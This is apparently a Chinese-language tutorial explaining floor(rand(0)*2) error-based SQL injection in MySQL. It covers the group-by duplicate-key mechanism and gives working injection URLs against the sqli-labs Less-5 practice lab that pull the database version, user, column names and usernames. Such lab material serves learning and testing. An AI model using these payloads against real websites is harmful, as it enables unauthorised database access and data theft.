SQL注入floor报错注入原理

# SQL语句
`select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))`

# 报错要求
如果表里面低于**3条数据**，是不会报错的，解决办法就是给表里面增加数据

# 原理
1、rand()产生0-1之间的随机值，表有几行数据，就返回几个值
`select rand() from test;`

2、rand(0)，加入数字后，产生固定的伪随机值
`select rand(0) from test;`

3、`rand(0)*2`返回0到2之间的随机数
floor函数返回小于等于该值的最大整数（向下取整）。
`floor(rand(0)*2)` 返回 0到1之间的值（固定01101……）
`select floor(rand(0)*2) from security.users;`

4、group by 用来对数据分组
`select username,count(*) from security.users group by username;`

分组原理：`group by` 会创建一个虚拟表，一个是`key`（比如username），一个是`count(*)`，在查询数据的时候，首先查看该虚拟表中是否存在该分组，如果存在那么计数值加1，不存在则新建该分组

![](/media/202410/2024-10-04_104544_8990990.15449244173587418.png)

语句：
`select count(*) from information_schema.tables group by concat(database(), floor(rand(0)*2))`

5、`group by` 进行分组时，`floor(rand(0) * 2)` 执行一次（查看分组是否存在），如果虚拟表中不存在该分组，那么在插入新分组（version拼接floor）的时候 `floor(rand(0)*2)` 就又计算了一次。

6、因为值是固定的，01101——分组时遇到0，不存在，需要插入，第二次触发，生成1，插入虚拟表。第三个值是1，计数加1。第四个值是0，当前不存在，触发生成1，插入1，因为1已经存在了，报错。

![](/media/202410/2024-10-04_104557_5621710.11492084376277545.png)

# 报错注入获取数据流程
获取库名
`http://localhost/sqli-labs/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+`

获取列名
需要多执行几次：
`http://localhost/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+`

获取表名列名略过。

获取数据
`http://localhost/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+`